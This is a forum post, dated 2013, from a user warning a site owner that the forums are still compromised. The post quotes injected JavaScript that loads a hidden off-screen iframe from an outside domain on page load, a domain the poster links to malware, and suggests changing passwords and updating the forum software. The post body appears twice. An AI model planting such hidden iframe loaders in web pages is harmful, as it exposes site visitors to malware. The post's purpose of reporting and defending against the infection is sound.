03-29-2013, 01:58 PM
I got the new files. Thank you 
The forums are still compromised, though.
The HTML iframe that was embedded is now replaced with a JavaScript that dynamically loads an iframe. Look for a chunk at the bottom that has this:
This plays some random audio advertisement for my system. I am sure it is pulling dynamic content . When I did a google search on the domain listed above, there were many mosts about that URL pushing malware.
PS. Just FYI, I think the URL I noticed the last couple days was pointing to another URL. So if you did not make any changes to the forums in last few days, then it probably means that someone is actively changing the code or that the PHP scripts controlling the forum template is compromised. I'd suggest two things: changing all admin passwords to any login (site and forums as well as FTP and site control panel) and I would also update the forum software.
The forums are still compromised, though.
The HTML iframe that was embedded is now replaced with a JavaScript that dynamically loads an iframe. Look for a chunk at the bottom that has this:
Code:
function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body.appendChild(ifrm);};window.onload = frmAdd;This plays some random audio advertisement for my system. I am sure it is pulling dynamic content . When I did a google search on the domain listed above, there were many mosts about that URL pushing malware.
PS. Just FYI, I think the URL I noticed the last couple days was pointing to another URL. So if you did not make any changes to the forums in last few days, then it probably means that someone is actively changing the code or that the PHP scripts controlling the forum template is compromised. I'd suggest two things: changing all admin passwords to any login (site and forums as well as FTP and site control panel) and I would also update the forum software.